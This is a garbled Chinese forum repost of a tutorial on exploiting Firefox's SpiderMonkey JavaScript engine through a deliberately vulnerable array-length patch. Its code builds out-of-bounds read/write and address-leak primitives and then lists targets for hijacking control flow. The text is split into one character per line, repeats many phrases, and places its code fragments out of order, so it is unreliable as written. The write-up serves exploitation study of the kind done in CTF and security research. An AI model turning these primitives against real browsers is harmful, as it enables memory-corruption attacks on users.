论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[15052] 2020-02-24_Firefox漏洞利用研究(一)
文档创建者:
s7ckTeam
浏览次数:
14
最后更新:
2025-01-18
漏洞
14 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-02-24_Firefox漏洞利用研究(一)
F
i
r
e
f
o
x
漏
洞
利
用
研
究
(
一
)
K
r
i
s
t
o
n
F
r
e
e
B
u
f
2
0
2
0
-
0
2
-
2
4
介
绍
介
绍
S
p
i
d
e
r
M
o
n
k
e
y
是
目
前
是
目
前
F
i
r
e
f
o
x
浏
览
器
中
使
用
的
浏
览
器
中
使
用
的
J
a
v
a
S
c
r
i
p
t
引
擎
,
负
责
浏
览
器
当
中
所
有
的
引
擎
,
负
责
浏
览
器
当
中
所
有
的
J
a
v
a
S
c
r
i
p
t
语
句
的
解
析
执
行
,
同
时
也
是
第
一
个
语
句
的
解
析
执
行
,
同
时
也
是
第
一
个
J
a
v
a
S
c
r
i
p
t
引
擎
。
现
在
的
引
擎
。
现
在
的
S
p
i
d
e
r
M
o
n
k
e
y
,
整
个
通
过
,
整
个
通
过
C
/
C
+
+
编
写
,
分
为
编
写
,
分
为
T
r
a
c
e
M
o
n
k
e
y
,
,
J
a
g
e
r
M
o
n
k
e
y
,
,
I
o
n
M
o
n
e
k
y
,
,
O
d
i
n
M
o
n
k
e
y
四
个
部
分
。
目
前
研
究
较
多
的
部
分
是
四
个
部
分
。
目
前
研
究
较
多
的
部
分
是
I
o
n
M
o
n
k
e
y
,
它
是
目
前
,
它
是
目
前
M
o
z
i
l
l
a
F
i
r
e
f
o
x
浏
览
器
当
中
负
责
对
浏
览
器
当
中
负
责
对
J
a
v
a
S
c
r
i
p
t
进
进
行
编
译
执
行
的
代
码
,
希
望
能
够
在
编
译
阶
段
对
整
个
浏
览
器
代
码
进
行
优
化
以
增
加
浏
览
速
度
,
提
升
用
户
体
验
。
在
最
近
几
年
的
行
编
译
执
行
的
代
码
,
希
望
能
够
在
编
译
阶
段
对
整
个
浏
览
器
代
码
进
行
优
化
以
增
加
浏
览
速
度
,
提
升
用
户
体
验
。
在
最
近
几
年
的
p
w
n
2
o
w
n
比
赛
中
,
安
全
研
究
人
员
挖
掘
引
擎
比
赛
中
,
安
全
研
究
人
员
挖
掘
引
擎
J
I
T
代
码
优
化
阶
段
存
在
的
代
码
优
化
阶
段
存
在
的
漏
洞
,
对
其
进
行
利
用
以
做
到
任
意
代
码
执
行
。
漏
洞
,
对
其
进
行
利
用
以
做
到
任
意
代
码
执
行
。
关
于
关
于
S
p
i
d
e
r
M
o
n
k
e
y
像
上
面
介
绍
的
一
样
,
我
们
的
最
终
目
的
是
为
了
最
终
能
够
在
远
程
机
器
上
做
到
任
意
代
码
执
行
。
作
为
一
个
初
学
者
而
言
,
可
以
暂
时
不
用
去
考
虑
代
码
整
个
漏
洞
利
用
过
程
中
的
稳
定
性
。
只
要
能
够
做
到
任
意
代
码
执
行
即
可
。
不
管
黑
猫
还
是
白
猫
,
抓
到
老
鼠
就
是
好
猫
。
因
为
F
i
r
e
f
o
x
是
一
个
开
源
的
浏
览
器
软
件
,
所
以
你
可
以
直
接
从
网
站
上
下
载
到
它
的
源
码
并
根
据
官
方
文
档
直
接
编
译
出
一
个
命
令
行
的
J
a
v
a
S
c
r
i
p
t
引
擎
解
释
器
。
h
t
t
p
s
:
/
/
a
r
c
h
i
v
e
.
m
o
z
i
l
l
a
.
o
r
g
/
p
u
b
/
f
i
r
e
f
o
x
/
r
e
l
e
a
s
e
s
/
7
2
.
0
/
s
o
u
r
c
e
/
h
t
t
p
s
:
/
/
d
e
v
e
l
o
p
e
r
.
m
o
z
i
l
l
a
.
o
r
g
/
e
n
-
U
S
/
d
o
c
s
/
M
o
z
i
l
l
a
/
P
r
o
j
e
c
t
s
/
S
p
i
d
e
r
M
o
n
k
e
y
/
B
u
i
l
d
_
D
o
c
u
m
e
n
t
a
t
i
o
n
我
们
通
过
一
个
简
单
的
例
子
入
手
,
首
先
可
以
看
一
下
下
面
的
这
个
p
a
t
c
h
文
件
:
d
i
f
f
-
r
e
e
6
2
8
3
7
9
5
f
4
1
j
s
/
s
r
c
/
b
u
i
l
t
i
n
/
A
r
r
a
y
.
c
p
p
-
-
-
a
/
j
s
/
s
r
c
/
b
u
i
l
t
i
n
/
A
r
r
a
y
.
c
p
p
S
a
t
A
p
r
0
7
0
0
:
5
5
:
1
5
2
0
1
8
+
0
3
0
0
+
+
+
b
/
j
s
/
s
r
c
/
b
u
i
l
t
i
n
/
A
r
r
a
y
.
c
p
p
S
u
n
A
p
r
0
8
0
0
:
0
1
:
2
3
2
0
1
8
+
0
0
0
0
@
@
-
1
9
2
,
6
+
1
9
2
,
2
0
@
@
r
e
t
u
r
n
T
o
L
e
n
g
t
h
(
c
x
,
v
a
l
u
e
,
l
e
n
g
t
h
p
)
;
}
+
s
t
a
t
i
c
M
O
Z
_
A
L
W
A
Y
S
_
I
N
L
I
N
E
b
o
o
l
+
B
l
a
z
e
S
e
t
L
e
n
g
t
h
P
r
o
p
e
r
t
y
(
J
S
C
o
n
t
e
x
t
*
c
x
,
H
a
n
d
l
e
O
b
j
e
c
t
o
b
j
,
u
i
n
t
6
4
_
t
l
e
n
g
t
h
)
+
{
+
i
f
(
o
b
j
-
>
i
s
<
A
r
r
a
y
O
b
j
e
c
t
>
(
)
)
{
+
o
b
j
-
>
a
s
<
A
r
r
a
y
O
b
j
e
c
t
>
(
)
.
s
e
t
L
e
n
g
t
h
I
n
t
3
2
(
l
e
n
g
t
h
)
;
+
o
b
j
-
>
a
s
<
A
r
r
a
y
O
b
j
e
c
t
>
(
)
.
s
e
t
C
a
p
a
c
i
t
y
I
n
t
3
2
(
l
e
n
g
t
h
)
;
+
o
b
j
-
>
a
s
<
A
r
r
a
y
O
b
j
e
c
t
>
(
)
.
s
e
t
I
n
i
t
i
a
l
i
z
e
d
L
e
n
g
t
h
I
n
t
3
2
(
l
e
n
g
t
h
)
;
+
r
e
t
u
r
n
t
r
u
e
;
+
}
+
r
e
t
u
r
n
f
a
l
s
e
;
+
}
+
+
+
/
*
*
D
e
t
e
r
m
i
n
e
i
f
t
h
e
i
d
r
e
p
r
e
s
e
n
t
s
a
n
a
r
r
a
y
i
n
d
e
x
.
*
@
@
-
1
5
7
8
,
6
+
1
5
9
2
,
2
3
@
@
r
e
t
u
r
n
D
e
n
s
e
E
l
e
m
e
n
t
R
e
s
u
l
t
:
:
S
u
c
c
e
s
s
;
}
+
b
o
o
l
j
s
:
:
a
r
r
a
y
_
b
l
a
z
e
(
J
S
C
o
n
t
e
x
t
*
c
x
,
u
n
s
i
g
n
e
d
a
r
g
c
,
V
a
l
u
e
*
v
p
)
+
{
+
C
a
l
l
A
r
g
s
a
r
g
s
=
C
a
l
l
A
r
g
s
F
r
o
m
V
p
(
a
r
g
c
,
v
p
)
;
+
R
o
o
t
e
d
O
b
j
e
c
t
o
b
j
(
c
x
,
T
o
O
b
j
e
c
t
(
c
x
,
a
r
g
s
.
t
h
i
s
v
(
)
)
)
;
+
i
f
(
!
o
b
j
)
+
r
e
t
u
r
n
f
a
l
s
e
;
+
+
i
f
(
!
B
l
a
z
e
S
e
t
L
e
n
g
t
h
P
r
o
p
e
r
t
y
(
c
x
,
o
b
j
,
4
2
0
)
)
+
r
e
t
u
r
n
f
a
l
s
e
;
+
+
/
/
u
i
n
t
6
4
_
t
l
=
o
b
j
.
a
s
<
A
r
r
a
y
O
b
j
e
c
t
>
(
)
.
s
e
t
L
e
n
g
t
h
(
c
x
,
4
2
0
)
;
+
+
a
r
g
s
.
r
v
a
l
(
)
.
s
e
t
O
b
j
e
c
t
(
*
o
b
j
)
;
+
r
e
t
u
r
n
t
r
u
e
;
+
}
+
+
/
/
E
S
2
0
1
7
d
r
a
f
t
r
e
v
1
b
0
1
8
4
b
c
1
7
f
c
0
9
a
8
d
d
c
f
4
a
e
e
c
9
b
6
d
9
f
c
a
c
4
e
a
f
c
e
/
/
2
2
.
1
.
3
.
2
1
A
r
r
a
y
.
p
r
o
t
o
t
y
p
e
.
r
e
v
e
r
s
e
(
)
b
o
o
l
@
@
-
3
5
1
1
,
6
+
3
5
4
2
,
8
@
@
J
S
_
F
N
(
"
u
n
s
h
i
f
t
"
,
a
r
r
a
y
_
u
n
s
h
i
f
t
,
1
,
0
)
,
J
S
_
F
N
I
N
F
O
(
"
s
p
l
i
c
e
"
,
a
r
r
a
y
_
s
p
l
i
c
e
,
&
a
r
r
a
y
_
s
p
l
i
c
e
_
i
n
f
o
,
2
,
0
)
,
+
J
S
_
F
N
(
"
b
l
a
z
e
"
,
a
r
r
a
y
_
b
l
a
z
e
,
0
,
0
)
,
+
/
*
P
y
t
h
o
n
i
c
s
e
q
u
e
n
c
e
m
e
t
h
o
d
s
.
*
/
J
S
_
S
E
L
F
_
H
O
S
T
E
D
_
F
N
(
"
c
o
n
c
a
t
"
,
"
A
r
r
a
y
C
o
n
c
a
t
"
,
1
,
0
)
,
J
S
_
I
N
L
I
N
A
B
L
E
_
F
N
(
"
s
l
i
c
e
"
,
a
r
r
a
y
_
s
l
i
c
e
,
2
,
0
,
A
r
r
a
y
S
l
i
c
e
)
,
d
i
f
f
-
r
e
e
6
2
8
3
7
9
5
f
4
1
j
s
/
s
r
c
/
b
u
i
l
t
i
n
/
A
r
r
a
y
.
h
-
-
-
a
/
j
s
/
s
r
c
/
b
u
i
l
t
i
n
/
A
r
r
a
y
.
h
S
a
t
A
p
r
0
7
0
0
:
5
5
:
1
5
2
0
1
8
+
0
3
0
0
+
+
+
b
/
j
s
/
s
r
c
/
b
u
i
l
t
i
n
/
A
r
r
a
y
.
h
S
u
n
A
p
r
0
8
0
0
:
0
1
:
2
3
2
0
1
8
+
0
0
0
0
首
先
进
入
到
f
i
r
e
f
o
x
的
源
码
文
件
夹
下
,
通
过
g
i
t
a
p
p
l
y
o
o
b
.
p
a
t
c
h
应
用
这
个
p
a
t
c
h
文
件
。
在
这
个
p
a
t
c
h
文
件
中
,
关
键
的
部
分
在
于
j
s
:
:
a
r
r
a
y
_
b
l
a
z
e
函
数
。
该
函
数
调
用
了
B
l
a
z
e
S
e
t
L
e
n
g
t
h
P
r
o
p
e
r
t
y
修
改
了
数
组
的
长
度
属
性
,
把
这
个
长
度
属
性
的
值
设
置
成
了
4
2
0
。
因
此
,
在
修
改
了
这
个
属
性
之
后
我
们
获
得
了
一
个
长
度
超
出
原
本
初
始
长
度
的
数
组
,
可
以
越
界
修
改
后
面
的
内
容
。
当
有
了
一
个
越
界
读
写
的
权
限
之
后
,
最
简
单
的
利
用
方
法
就
是
将
两
个
相
邻
的
a
r
r
a
y
,
利
用
第
一
个
的
越
界
去
写
第
二
个
a
r
r
a
y
。
但
是
在
s
p
i
d
e
r
m
o
n
k
e
y
当
中
,
a
r
r
a
y
存
储
j
s
:
:
V
a
l
u
e
而
不
是
直
接
输
入
的
数
值
。
如
果
你
要
在
引
擎
中
写
0
x
1
3
3
7
这
个
数
值
的
话
,
实
际
上
在
内
存
中
要
写
的
内
容
是
0
x
f
f
f
8
8
0
0
0
0
0
0
0
1
3
3
7
。
前
面
的
0
x
f
f
f
8
8
表
示
这
里
存
储
的
内
容
是
一
个
i
n
t
类
型
的
数
字
,
而
不
是
指
针
或
者
d
o
u
b
l
e
类
型
的
数
字
。
因
此
在
这
里
只
需
要
写
最
后
的
3
2
b
i
t
s
就
能
够
得
到
修
改
后
的
稳
定
数
字
了
。
堆
分
配
堆
分
配
新
建
一
个
A
r
r
a
y
类
型
的
数
组
会
在
S
p
i
d
e
r
M
o
n
k
e
y
当
中
触
发
堆
分
配
。
构
建
新
的
数
组
的
话
会
通
过
N
u
r
s
e
r
y
h
e
a
p
或
者
D
e
f
a
u
l
t
H
e
a
p
来
分
配
。
N
u
r
s
e
r
y
h
e
a
p
最
大
有
1
6
M
B
。
这
种
分
配
方
式
没
有
在
堆
的
分
配
上
增
加
过
多
的
随
机
。
如
果
我
们
分
配
了
两
个
a
r
r
a
y
,
他
们
在
内
存
中
的
位
置
一
般
都
是
相
邻
的
。
除
了
普
通
的
A
r
r
a
y
类
型
数
组
,
T
y
p
e
d
A
r
r
a
y
s
也
是
在
N
u
r
s
e
r
y
h
e
a
p
上
被
分
配
的
。
我
们
首
先
创
建
两
个
数
组
,
这
两
个
数
组
在
内
存
中
是
相
邻
的
。
这
样
申
请
的
两
个
数
组
的
地
址
以
及
各
个
属
性
的
值
以
及
表
示
形
式
如
下
:
可
以
看
到
,
申
请
的
A
r
r
a
y
数
组
和
U
i
n
t
8
A
r
r
a
y
数
组
地
址
分
别
为
0
x
1
4
2
e
d
b
c
0
0
7
4
8
和
0
x
1
4
2
e
d
b
c
0
0
7
a
8
。
这
两
个
数
组
是
相
邻
的
,
并
且
S
m
a
l
l
s
数
组
的
大
小
为
0
x
6
0
字
节
。
因
为
我
们
想
要
修
改
掉
后
面
的
这
个
T
y
p
e
d
A
r
r
a
y
,
首
先
需
要
看
一
下
他
的
l
a
y
o
u
t
是
什
么
样
子
的
。
通
常
在
J
a
v
a
S
c
r
i
p
t
引
擎
的
漏
洞
利
用
过
程
当
中
,
都
是
通
过
这
样
的
一
个
T
y
p
e
d
A
r
r
a
y
去
做
任
意
地
址
读
写
。
T
y
p
e
d
A
r
r
a
y
的
读
写
方
式
,
不
再
是
读
写
j
s
:
:
V
a
l
u
e
,
而
是
直
接
写
入
想
要
的
r
a
w
b
y
t
e
s
。
通
过
阅
读
源
码
,
我
们
可
以
发
现
,
T
y
p
e
d
A
r
r
a
y
s
的
实
现
实
际
上
是
在
j
s
:
:
T
y
p
e
d
A
r
r
a
y
O
b
j
e
c
t
类
当
中
,
这
个
类
也
是
j
s
:
:
A
r
r
a
y
B
u
f
f
e
r
V
i
e
w
O
b
j
e
c
t
的
一
个
子
类
。
我
们
想
要
知
道
的
是
,
在
哪
个
属
性
当
中
存
储
了
b
u
f
f
e
r
的
s
i
z
e
和
p
o
i
n
t
e
r
。
在
源
码
中
找
到
这
部
分
实
现
的
内
容
如
下
:
+
+
+
b
/
j
s
/
s
r
c
/
b
u
i
l
t
i
n
/
A
r
r
a
y
.
h
S
u
n
A
p
r
0
8
0
0
:
0
1
:
2
3
2
0
1
8
+
0
0
0
0
@
@
-
1
6
6
,
6
+
1
6
6
,
9
@
@
a
r
r
a
y
_
r
e
v
e
r
s
e
(
J
S
C
o
n
t
e
x
t
*
c
x
,
u
n
s
i
g
n
e
d
a
r
g
c
,
j
s
:
:
V
a
l
u
e
*
v
p
)
;
e
x
t
e
r
n
b
o
o
l
+
a
r
r
a
y
_
b
l
a
z
e
(
J
S
C
o
n
t
e
x
t
*
c
x
,
u
n
s
i
g
n
e
d
a
r
g
c
,
j
s
:
:
V
a
l
u
e
*
v
p
)
;
+
+
e
x
t
e
r
n
b
o
o
l
a
r
r
a
y
_
s
p
l
i
c
e
(
J
S
C
o
n
t
e
x
t
*
c
x
,
u
n
s
i
g
n
e
d
a
r
g
c
,
j
s
:
:
V
a
l
u
e
*
v
p
)
;
e
x
t
e
r
n
c
o
n
s
t
J
S
J
i
t
I
n
f
o
a
r
r
a
y
_
s
p
l
i
c
e
_
i
n
f
o
;
d
i
f
f
-
r
e
e
6
2
8
3
7
9
5
f
4
1
j
s
/
s
r
c
/
v
m
/
A
r
r
a
y
O
b
j
e
c
t
.
h
-
-
-
a
/
j
s
/
s
r
c
/
v
m
/
A
r
r
a
y
O
b
j
e
c
t
.
h
S
a
t
A
p
r
0
7
0
0
:
5
5
:
1
5
2
0
1
8
+
0
3
0
0
+
+
+
b
/
j
s
/
s
r
c
/
v
m
/
A
r
r
a
y
O
b
j
e
c
t
.
h
S
u
n
A
p
r
0
8
0
0
:
0
1
:
2
3
2
0
1
8
+
0
0
0
0
@
@
-
6
0
,
6
+
6
0
,
1
4
@
@
g
e
t
E
l
e
m
e
n
t
s
H
e
a
d
e
r
(
)
-
>
l
e
n
g
t
h
=
l
e
n
g
t
h
;
}
+
v
o
i
d
s
e
t
C
a
p
a
c
i
t
y
I
n
t
3
2
(
u
i
n
t
3
2
_
t
l
e
n
g
t
h
)
{
+
g
e
t
E
l
e
m
e
n
t
s
H
e
a
d
e
r
(
)
-
>
c
a
p
a
c
i
t
y
=
l
e
n
g
t
h
;
+
}
+
+
v
o
i
d
s
e
t
I
n
i
t
i
a
l
i
z
e
d
L
e
n
g
t
h
I
n
t
3
2
(
u
i
n
t
3
2
_
t
l
e
n
g
t
h
)
{
+
g
e
t
E
l
e
m
e
n
t
s
H
e
a
d
e
r
(
)
-
>
i
n
i
t
i
a
l
i
z
e
d
L
e
n
g
t
h
=
l
e
n
g
t
h
;
+
}
+
/
/
M
a
k
e
a
n
a
r
r
a
y
o
b
j
e
c
t
w
i
t
h
t
h
e
s
p
e
c
i
f
i
e
d
i
n
i
t
i
a
l
s
t
a
t
e
.
s
t
a
t
i
c
i
n
l
i
n
e
A
r
r
a
y
O
b
j
e
c
t
*
c
r
e
a
t
e
A
r
r
a
y
(
J
S
C
o
n
t
e
x
t
*
c
x
,
n
e
w
A
r
r
a
y
(
1
,
2
,
3
,
4
)
;
c
o
n
s
t
S
m
a
l
l
s
=
n
e
w
A
r
r
a
y
(
1
,
2
,
3
,
4
)
;
c
o
n
s
t
U
8
A
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
8
)
;
o
b
j
e
c
t
1
4
2
e
d
b
c
0
0
7
4
8
g
l
o
b
a
l
3
c
b
b
0
6
b
7
c
0
6
0
[
g
l
o
b
a
l
]
c
l
a
s
s
5
5
5
5
5
7
6
3
3
a
2
0
A
r
r
a
y
g
r
o
u
p
3
c
b
b
0
6
b
7
9
a
0
0
f
l
a
g
s
:
p
r
o
t
o
<
A
r
r
a
y
o
b
j
e
c
t
a
t
3
c
b
b
0
6
b
9
c
0
4
0
>
p
r
o
p
e
r
t
i
e
s
:
[
L
a
t
i
n
1
]
"
l
e
n
g
t
h
"
(
s
h
a
p
e
3
c
b
b
0
6
b
8
9
b
d
8
p
e
r
m
a
n
e
n
t
g
e
t
t
e
r
O
p
5
5
5
5
5
5
8
b
3
2
1
9
s
e
t
t
e
r
O
p
5
5
5
5
5
5
8
b
3
2
6
7
)
e
l
e
m
e
n
t
s
:
0
:
1
1
:
2
2
:
3
3
:
4
o
b
j
e
c
t
1
4
2
e
d
b
c
0
0
7
a
8
g
l
o
b
a
l
3
c
b
b
0
6
b
7
c
0
6
0
[
g
l
o
b
a
l
]
c
l
a
s
s
5
5
5
5
5
7
6
4
a
3
7
0
U
i
n
t
8
A
r
r
a
y
g
r
o
u
p
3
c
b
b
0
6
b
7
9
b
8
0
f
l
a
g
s
:
p
r
o
t
o
<
U
i
n
t
8
A
r
r
a
y
P
r
o
t
o
t
y
p
e
o
b
j
e
c
t
a
t
3
c
b
b
0
6
b
7
f
1
a
0
>
p
r
i
v
a
t
e
1
4
2
e
d
b
c
0
0
7
e
8
r
e
s
e
r
v
e
d
s
l
o
t
s
:
0
:
n
u
l
l
1
:
8
2
:
0
p
r
o
p
e
r
t
i
e
s
:
c
l
a
s
s
A
r
r
a
y
B
u
f
f
e
r
V
i
e
w
O
b
j
e
c
t
:
p
u
b
l
i
c
N
a
t
i
v
e
O
b
j
e
c
t
{
p
u
b
l
i
c
:
同
时
在
调
试
器
当
中
,
可
以
看
到
这
部
分
内
存
的
布
局
:
可
以
看
到
,
从
内
存
地
址
0
x
1
4
2
e
d
b
c
0
0
7
a
8
开
始
是
申
请
的
T
y
p
e
d
A
r
r
a
y
。
从
0
x
1
4
2
e
d
b
c
0
0
7
c
0
地
址
开
始
,
指
向
的
内
容
分
别
是
e
m
p
t
y
E
l
e
m
e
n
t
s
H
e
a
d
e
r
+
0
x
1
0
,
B
U
F
F
E
R
S
L
O
T
,
L
E
N
G
T
H
S
L
O
T
,
B
Y
T
E
O
F
F
S
E
T
S
L
O
T
,
D
A
T
A
S
L
O
T
,
I
n
l
i
n
e
d
a
t
a
(
8
字
节
)
。
长
度
属
性
是
一
个
j
s
:
:
V
a
l
u
e
类
型
的
变
量
。
指
向
I
n
l
i
n
e
b
u
f
f
e
r
的
指
针
是
一
个
正
常
类
型
的
指
针
。
同
样
令
人
惊
喜
的
是
,
T
y
p
e
d
A
r
r
a
y
结
构
体
的
e
l
e
m
e
n
t
s
_
属
性
,
指
向
了
j
s
这
个
应
用
程
序
的
.
r
d
a
t
a
段
。
因
此
,
如
果
我
们
能
够
泄
漏
这
个
属
性
,
就
能
够
获
得
这
个
模
块
的
基
地
址
。
做
到
任
意
地
址
读
写
的
接
不
能
思
路
如
下
:
1
.
通
过
读
取
T
y
p
e
d
A
r
r
a
y
的
e
l
e
m
e
n
t
s
_
属
性
,
这
个
属
性
的
位
置
在
b
数
组
中
的
索
引
为
9
,
能
够
泄
漏
j
s
程
序
的
基
地
址
。
2
,
修
改
D
A
T
A
_
S
L
O
T
之
后
,
能
够
通
过
T
y
p
e
d
A
r
r
a
y
做
到
任
意
地
址
读
写
。
在
真
正
开
始
编
写
漏
洞
利
用
的
代
码
之
前
,
还
需
解
决
的
一
件
事
就
是
怎
么
将
j
s
:
:
V
a
l
u
e
转
换
成
对
应
的
数
字
。
因
为
通
过
A
r
r
a
y
类
型
的
数
组
进
行
读
写
出
来
的
数
值
都
是
d
o
u
b
l
e
类
型
,
d
o
u
b
l
e
类
型
的
数
字
可
以
通
过
s
a
e
l
o
写
的
两
个
脚
本
将
d
o
u
b
l
e
类
型
的
数
据
转
换
成
内
存
中
真
正
保
存
的
值
(
r
a
w
b
y
t
e
s
)
。
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
0
v
e
r
c
l
0
k
/
b
l
a
z
e
f
o
x
/
b
l
o
b
/
m
a
s
t
e
r
/
e
x
p
l
o
i
t
s
/
i
n
t
6
4
.
j
s
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
0
v
e
r
c
l
0
k
/
b
l
a
z
e
f
o
x
/
b
l
o
b
/
m
a
s
t
e
r
/
e
x
p
l
o
i
t
s
/
u
t
i
l
s
.
j
s
除
了
在
漏
洞
利
用
之
前
加
载
这
两
个
脚
本
之
外
,
也
可
以
通
过
如
下
的
简
单
代
码
来
实
现
d
o
u
b
l
e
类
型
和
i
n
t
3
2
类
型
的
转
换
:
接
下
来
,
为
了
获
得
读
写
的
权
限
,
像
之
前
我
们
所
提
到
的
那
样
,
我
们
可
以
修
改
掉
T
y
p
e
d
A
r
r
a
y
的
D
A
T
A
_
S
L
O
T
属
性
。
将
这
个
位
置
修
改
成
对
应
地
址
的
d
o
u
b
l
e
表
示
就
能
够
对
这
个
地
址
中
的
数
据
进
行
读
写
了
。
指
针
属
性
应
该
在
索
引
为
1
3
的
位
置
(
9
+
4
)
,
l
e
n
g
t
h
属
性
应
该
在
索
引
为
1
1
的
位
置
(
9
+
2
)
。
在
访
问
c
数
组
的
D
A
T
A
_
S
L
O
T
的
时
候
出
现
了
内
存
访
问
错
误
。
r
a
x
寄
存
器
的
值
为
0
x
d
e
a
d
c
0
d
e
d
e
a
d
b
e
e
f
,
正
是
我
们
之
前
设
定
的
内
容
p
u
b
l
i
c
:
/
/
U
n
d
e
r
l
y
i
n
g
(
S
h
a
r
e
d
)
A
r
r
a
y
B
u
f
f
e
r
O
b
j
e
c
t
.
s
t
a
t
i
c
c
o
n
s
t
e
x
p
r
s
i
z
e
_
t
B
U
F
F
E
R
_
S
L
O
T
=
0
;
/
/
S
l
o
t
c
o
n
t
a
i
n
i
n
g
l
e
n
g
t
h
o
f
t
h
e
v
i
e
w
i
n
n
u
m
b
e
r
o
f
t
y
p
e
d
e
l
e
m
e
n
t
s
.
s
t
a
t
i
c
c
o
n
s
t
e
x
p
r
s
i
z
e
_
t
L
E
N
G
T
H
_
S
L
O
T
=
1
;
/
/
O
f
f
s
e
t
o
f
v
i
e
w
w
i
t
h
i
n
u
n
d
e
r
l
y
i
n
g
(
S
h
a
r
e
d
)
A
r
r
a
y
B
u
f
f
e
r
O
b
j
e
c
t
.
s
t
a
t
i
c
c
o
n
s
t
e
x
p
r
s
i
z
e
_
t
B
Y
T
E
O
F
F
S
E
T
_
S
L
O
T
=
2
;
s
t
a
t
i
c
c
o
n
s
t
e
x
p
r
s
i
z
e
_
t
D
A
T
A
_
S
L
O
T
=
3
;
/
/
[
.
.
.
]
}
;
c
l
a
s
s
T
y
p
e
d
A
r
r
a
y
O
b
j
e
c
t
:
p
u
b
l
i
c
A
r
r
a
y
B
u
f
f
e
r
V
i
e
w
O
b
j
e
c
t
l
o
a
d
(
'
u
t
i
l
s
.
j
s
'
)
l
o
a
d
(
'
i
n
t
6
4
.
j
s
'
)
I
n
t
6
4
.
f
r
o
m
D
o
u
b
l
e
(
6
.
9
5
1
6
5
1
5
1
7
9
7
4
e
-
3
1
0
)
.
t
o
S
t
r
i
n
g
(
1
6
)
v
a
r
f
6
4
=
n
e
w
F
l
o
a
t
6
4
A
r
r
a
y
(
1
)
;
v
a
r
u
3
2
=
n
e
w
U
i
n
t
3
2
A
r
r
a
y
(
f
6
4
.
b
u
f
f
e
r
)
;
f
u
n
c
t
i
o
n
d
2
u
(
v
)
{
f
6
4
[
0
]
=
v
;
r
e
t
u
r
n
u
3
2
;
}
f
u
n
c
t
i
o
n
u
2
d
(
l
o
,
h
i
)
{
u
3
2
[
0
]
=
l
o
;
u
3
2
[
1
]
=
h
i
;
r
e
t
u
r
n
f
6
4
[
0
]
;
}
f
u
n
c
t
i
o
n
l
o
g
(
l
o
,
h
i
)
{
p
r
i
n
t
(
'
0
x
'
+
h
i
.
t
o
S
t
r
i
n
g
(
1
6
)
+
l
o
.
t
o
S
t
r
i
n
g
(
1
6
)
)
;
}
d
2
u
(
6
.
9
5
1
6
5
1
5
1
7
9
7
4
e
-
3
1
0
)
;
c
o
n
s
o
l
e
.
l
o
g
(
b
[
1
1
]
)
;
b
[
1
1
]
=
1
3
3
7
;
c
o
n
s
o
l
e
.
l
o
g
(
c
.
l
e
n
g
t
h
)
;
b
[
1
3
]
=
u
2
d
(
0
x
d
e
a
d
c
0
d
e
,
0
x
d
e
a
d
b
e
e
f
)
;
c
o
n
s
o
l
e
.
l
o
g
(
c
[
0
]
)
;
接
下
来
就
可
以
进
行
漏
洞
利
用
的
下
一
个
步
骤
了
,
通
过
这
个
越
界
读
写
掌
控
程
序
的
控
制
流
除
此
之
外
,
还
可
以
通
过
这
两
个
a
r
r
a
y
做
到
任
意
对
象
的
地
址
泄
漏
。
这
里
有
两
种
方
法
可
以
泄
漏
对
象
的
地
址
。
第
一
种
方
法
是
在
T
y
p
e
d
A
r
r
a
y
之
后
放
下
一
个
新
的
A
r
r
a
y
,
里
面
存
储
了
想
要
泄
漏
的
对
象
内
容
。
通
过
越
界
读
写
修
改
掉
了
T
y
p
e
d
A
r
r
a
y
的
l
e
n
g
t
h
属
性
之
后
可
以
用
T
y
p
e
d
A
r
r
a
y
越
界
读
取
新
的
A
r
r
a
y
当
中
对
象
的
地
址
。
例
如
在
下
面
的
代
码
中
,
可
以
通
过
a
r
r
a
y
c
去
读
d
当
中
存
储
的
c
的
地
址
,
当
然
这
个
地
址
是
以
j
s
:
:
V
a
l
u
e
格
式
存
储
的
。
第
二
种
方
法
不
需
要
创
建
一
个
新
的
数
组
,
而
是
用
这
个
越
界
的
数
组
改
写
掉
数
组
c
的
b
a
c
k
i
n
g
b
u
f
f
e
r
接
着
,
只
需
要
读
取
T
y
p
e
d
A
r
r
a
y
的
i
n
l
i
n
e
b
a
c
k
i
n
g
b
u
f
f
e
r
即
可
。
i
n
l
i
n
e
b
a
c
k
i
n
g
b
u
f
f
e
r
在
a
r
r
a
y
当
中
的
o
f
f
s
e
t
为
1
4
。
在
获
得
任
意
地
址
读
写
的
能
力
之
后
,
需
要
思
考
的
问
题
是
写
什
么
地
方
。
通
常
的
思
路
有
以
下
几
种
:
1
.
覆
盖
掉
栈
上
的
返
回
地
址
,
这
种
方
法
经
常
在
程
序
受
到
前
沿
C
F
I
保
护
的
时
候
使
用
2
.
修
改
掉
对
象
的
v
t
a
b
l
e
3
.
修
改
掉
程
序
当
中
J
I
T
f
u
n
c
t
i
o
n
的
指
针
4
.
修
改
掉
其
他
类
型
的
函
数
指
针
我
们
可
以
尝
试
一
下
最
后
一
种
方
法
。
每
一
个
J
a
v
a
S
c
r
i
p
t
对
象
都
定
义
了
很
多
不
同
的
函
数
方
法
,
这
些
方
法
都
存
储
在
对
应
的
内
存
当
中
。
对
于
j
s
:
:
N
a
t
i
v
e
O
b
j
e
c
t
而
言
,
其
中
有
一
个
g
r
o
u
p
属
性
。
一
个
j
s
:
:
O
b
j
e
c
t
G
r
o
u
p
的
文
档
记
录
了
这
一
组
对
象
的
类
型
信
息
。
c
l
a
s
p
属
性
表
示
了
这
个
对
象
组
的
属
性
。
举
个
例
子
,
上
面
代
码
中
的
c
数
组
是
一
个
U
i
n
t
8
A
r
r
a
y
类
型
的
数
组
。
如
果
我
们
找
到
了
j
s
:
:
C
l
a
s
s
的
c
0
p
s
属
性
,
能
够
找
到
一
堆
在
特
殊
时
间
被
J
a
v
a
S
c
r
i
p
t
引
擎
调
用
的
函
数
指
针
,
这
些
函
数
能
够
向
对
象
增
加
属
性
或
者
删
除
属
性
等
。
通
常
,
这
些
指
针
都
存
储
在
一
个
只
读
区
域
当
中
,
这
意
味
着
我
们
不
能
够
直
接
对
其
进
行
改
写
。
但
是
这
没
有
关
系
,
我
们
可
以
继
续
向
下
面
找
,
